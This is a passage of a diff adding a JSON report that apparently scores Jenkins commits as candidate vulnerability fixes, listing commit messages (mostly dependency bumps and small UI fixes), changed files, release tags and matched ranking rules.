"jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: disable", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8705", + "relevance": 2 + } + ] + }, + { + "commit_id": "6fa01b735446f5c9778c936f4bd5ad1973c59205", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711066442, + "hunks": 1, + "message": "Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058)", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9058": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "0eed048866cd4fad50531c9396a419172ee84edb" + ] + ], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9058", + "relevance": 2 + } + ] + }, + { + "commit_id": "d5ae4b0d7cc775b49d99d903a12a7e1d191ee7b1", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711037012, + "hunks": 38, + "message": "Update dependency postcss-preset-env to v9.5.2 (#9054) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9054": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "01e8cf9ea8a6fb2b263479c32e3f5622de1e06ae" + ] + ], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9054", + "relevance": 2 + } + ] + }, + { + "commit_id": "00fce5a1d27e3bf6e9fd85bf65958685387cd61d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710881812, + "hunks": 1, + "message": "Bump org.jenkins-ci.main:jenkins-test-harness from 2171.v048c97409d12 to 2174.v111a_b_471784f (#9049) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9049": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "60f19cb24a97d0982a1afe978c31c69d610dad8b" + ], + [ + "no-tag", + "dbd5f115ad67542592af0a72bb21bebd77b1bf86" + ], + [ + "no-tag", + "f63de705fd3e287dbe07d646f11bf03b00340515" + ], + [ + "no-tag", + "2239347454e7c0387749f9d81da8beb3129b1f2c" + ], + [ + "no-tag", + "b899f94963334689e2c383a0657a06b0657283c3" + ], + [ + "no-tag", + "a23a8e58fb5894ec53db7ddb01cffbb17ce4828e" + ], + [ + "no-tag", + "ed84a4ba3443cebf2d41ddec9edf3762900c487c" + ], + [ + "no-tag", + "f60c1b4872b2e7a2dfa186fdff0c87464bf8c725" + ], + [ + "no-tag", + "0d537d43bde40d91dfa888e2191f2570551be354" + ], + [ + "no-tag", + "c7e7df49f936cf07b51f9efafbb25326cbb08c98" + ], + [ + "no-tag", + "332ac4914f84ba656407a78fd7d806dc58c60ba4" + ], + [ + "no-tag", + "cabc8f67b9429eba47ee42e47e677623ef980398" + ], + [ + "no-tag", + "9630c421f5fd1198307dcbecbf59e45f4eff030e" + ], + [ + "no-tag", + "9dd9a51a4462a3cee9c008830f2dbd6ad9657718" + ], + [ + "no-tag", + "b2a764116f5a2da9a36cc156e61c670f2732e327" + ], + [ + "no-tag", + "cdffa21e96db44cbe14c3fb0993d4c5e39c195db" + ], + [ + "no-tag", + "8aa627660907d3a15b9d7e23de01eaed6071bf41" + ], + [ + "no-tag", + "be77274143b519c735418c972ef931b47f481662" + ] + ], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9049", + "relevance": 2 + } + ] + }, + { + "commit_id": "4666cae77ead4d111898348124fd5cf480bf4376", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710794862, + "hunks": 1, + "message": "Bump org.springframework.security:spring-security-bom from 5.8.10 to 5.8.11 (#9047) Bump org.springframework.security:spring-security-bom Bumps [org.springframework.security:spring-security-bom](https://github.com/spring-projects/spring-security) from 5.8.10 to 5.8.11. - [Release notes](https://github.com/spring-projects/spring-security/releases) - [Changelog](https://github.com/spring-projects/spring-security/blob/main/RELEASE.adoc) - [Commits](https://github.com/spring-projects/spring-security/compare/5.8.10...5.8.11) --- updated-dependencies: - dependency-name: org.springframework.security:spring-security-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9047": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "184c79a02a57f80d3d76fb0cc9ebe9b6be04c0db" + ], + [ + "no-tag", + "72dc15eda545a755db4ba590c9b296d46c478c9f" + ] + ], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9047", + "relevance": 2 + } + ] + }, + { + "commit_id": "e9923d3d7a67f03b15f460ee34e5e83a073484bb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710543825, + "hunks": 1, + "message": "Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33 (#9042) Bumps [org.springframework:spring-framework-bom](https://github.com/spring-projects/spring-framework) from 5.3.32 to 5.3.33. - [Release notes](https://github.com/spring-projects/spring-framework/releases) - [Commits](https://github.com/spring-projects/spring-framework/compare/v5.3.32...v5.3.33) --- updated-dependencies: - dependency-name: org.springframework:spring-framework-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9042": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "2b4d5135f5455691188e1e2ac2a4d702e9416a95" + ] + ], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9042", + "relevance": 2 + } + ] + }, + { + "commit_id": "57ab5503a255aba01f40fc76c8526db3b7b23955", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707213022, + "hunks": 2, + "message": "Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923) (cherry picked from commit 9c6ace3e032c843f86c66ec3422e77db0de644ad)", + "changed_files": [ + "pom.xml", + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8923": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "9c6ace3e032c843f86c66ec3422e77db0de644ad" + ] + ], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8923", + "relevance": 2 + } + ] + }, + { + "commit_id": "72cea0e1703a1caf317bd18585fc14189544c089", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708351143, + "hunks": 3, + "message": "[JENKINS-72711] Restore progress animation in build history and buildtime trend views (#8966) [JENKINS-72711] Restore progress animation in build history and build time trend views Co-authored-by: Daniel Beck (cherry picked from commit f91d1ecc64ee384168e6f85b369148ec294c582d)", + "changed_files": [ + "core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly", + "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", + "core/src/main/resources/lib/hudson/buildListTable.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8966": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "f91d1ecc64ee384168e6f85b369148ec294c582d" + ] + ], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8966", + "relevance": 2 + } + ] + }, + { + "commit_id": "f8e366455091a38ac25d297f70c112f0bdc602a4", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708756492, + "hunks": 5, + "message": "[JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid empty tooltips when the tooltip or html tooltip is empty or whitespace only it is avoided that the tippy is invoked at all which would otherwise just display a small but empty element. * better null checks (cherry picked from commit 0675943cd256d383aa8a482371762f243d35d1a5)", + "changed_files": [ + "war/src/main/js/components/tooltips/index.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8975": "[JENKINS-72743] Remove empty tooltip for build duration on running build #8972" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "0675943cd256d383aa8a482371762f243d35d1a5" + ] + ], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8975", + "relevance": 2 + } + ] + }, + { + "commit_id": "0f1390b9ab9c418d0f6b5d30f6bc50dd0b6bd7dd", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709395195, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:cloudbees-folder from 6.921.vfb_b_224371fb_4 to 6.928.v7c780211d66e (#8995) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8995": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "49e5ab32ce40662fb4c1dca38931cf2ad4d9c3c1" + ], + [ + "no-tag", + "27b8a5e505651bf1f0904246095aac2fa93a1112" + ], + [ + "no-tag", + "68c91216b75763f20e03b2a39f4e4c09149cdb99" + ] + ], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8995", + "relevance": 2 + } + ] + }, + { + "commit_id": "dd8f9030878554370ece32b0c18ac79088678aaa", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709331570, + "hunks": 4, + "message": "Update dependency mini-css-extract-plugin to v2.8.1 (#9008) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9008": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "481ecb237da715553f855f761d2e4c11cb95fb5d" + ] + ], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9008", + "relevance": 2 + } + ] + }, + { + "commit_id": "4d0a4eb8269f47561ac3781ab4b4e2d55957ab01", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708967725, + "hunks": 1, + "message": "Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3 (#8987) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8987": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "f425dd45f34f21f70cc27afeefbb21f80e3ecac0" + ] + ], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8987", + "relevance": 2 + } + ] + }, + { + "commit_id": "2bd2ce2e2dce12ac7af9f1e58ec44adab772431a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708119260, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:script-security from 1321.va_73c0795b_923 to 1326.vdb_c154de8669 (#8961) Bump org.jenkins-ci.plugins:script-security Bumps [org.jenkins-ci.plugins:script-security](https://github.com/jenkinsci/script-security-plugin) from 1321.va_73c0795b_923 to 1326.vdb_c154de8669. - [Release notes](https://github.com/jenkinsci/script-security-plugin/releases) - [Commits](https://github.com/jenkinsci/script-security-plugin/commits) --- updated-dependencies: - dependency-name: org.jenkins-ci.plugins:script-security dependency-type: direct:production ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8961": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "78cdaa9f29df4a407b12973b9db04ff322e49db8" + ], + [ + "no-tag", + "af0488e8d84124924ad3e1132732080daf7806ac" + ], + [ + "no-tag", + "ed8562fdf77c685ab25adfc304a6306b13b96638" + ], + [ + "no-tag", + "0ebd1a066bb9a1d6295100cbf7371a9e33eb38f6" + ] + ], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8961", + "relevance": 2 + } + ] + }, + { + "commit_id": "6bc8a8ac74f94b8c68eed497ad9411445bc5dd61", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707465952, + "hunks": 5, + "message": "[JENKINS-72679] avoid admin monitor popup makes buttons unusable (#8941) avoid admin monitor makes buttons unusable The div of the admin monitor pop-up is set to opacity 0 but keeps z-index 1000 when closed. This makes the buttons, that are behind the popup when shown unusable. This change uses an animation that ensures the z-index is 0 after hiding the popup and buttons are still usable (cherry picked from commit a6423541f07292f8e5b74a9ce0e9a4d711eda0d9)", + "changed_files": [ + "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8941": "Update appearance of controls in header #8791 [JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "a6423541f07292f8e5b74a9ce0e9a4d711eda0d9" + ] + ], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8941", + "relevance": 2 + } + ] + }, + { + "commit_id": "2f1190055950598828b5336d4d17b05de38f164c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706297912, + "hunks": 2, + "message": "[JENKINS-72505] f:validateButton finds selected radio button (#8832) JENKINS-72505 f:validateButton finds selected radio button Co-authored-by: Mark Waite Co-authored-by: Alexander Brandes (cherry picked from commit d2a9fd2b1fc60381d18c79c66850cd89bd20814f)", + "changed_files": [ + "war/src/main/webapp/scripts/hudson-behavior.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8832": "Split agent templates into multiple pages jenkinsci/azure-vm-agents-plugin#493 Increase memory for war assembly #8856 [JENKINS-72407] missing folder icon #8872 Client certificate required no matter which option is selected jenkinsci/azure-ad-plugin#597" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "d2a9fd2b1fc60381d18c79c66850cd89bd20814f" + ] + ], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8832", + "relevance": 2 + } + ] + }, + { + "commit_id": "0905a4fc1bed7fee4f19eae5c3b949f306dc055a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706193814, + "hunks": 2, + "message": "[JENKINS-72407] missing folder icon (#8872) when a folder icon is provided and relies on the getImageOf method this leads to a missing icon, e.g. gitlab branch source or when using a custom folder icon So fall back to the ballColorTd when we have no iconname which handles all cases properly. (cherry picked from commit 70f2237147f238adb54b21edf3e354fc672aeae3)", + "changed_files": [ + "core/src/main/resources/hudson/views/StatusColumn/column.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8872": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "70f2237147f238adb54b21edf3e354fc672aeae3" + ] + ], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8872", + "relevance": 2 + } + ] + }, + { + "commit_id": "d084664bb03973310f738aec6d578cd3b71bbc3e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706131834, + "hunks": 2, + "message": "[JENKINS-72603] Update bundled Matrix Project Plugin to 822.824.v14451b_c0fd42 (#8891) (cherry picked from commit 34a6d0e466cd2347a3a05b29c912bdab24a36a52)", + "changed_files": [ + "test/pom.xml", + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8891": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "34a6d0e466cd2347a3a05b29c912bdab24a36a52" + ] + ], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8891", + "relevance": 2 + } + ] + }, + { + "commit_id": "213bdecefc9fef76139488a722e3dbc6ea73583c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706632528, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins.workflow:workflow-api from 1289.va_cf779f32df0 to 1291.v51fd2a_625da_7 (#8914) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8914": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "b83c92666b5005d4c6e0b01cfda6c409a30bcf5d" + ] + ], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8914", + "relevance": 2 + } + ] + }, + { + "commit_id": "6644f566f1cd1834251aa9fa9ff20750ddcf20fe", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705374118, + "hunks": 1, + "message": "Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps [org.jenkins-ci:jenkins](https://github.com/jenkinsci/pom) from 1.109 to 1.110. - 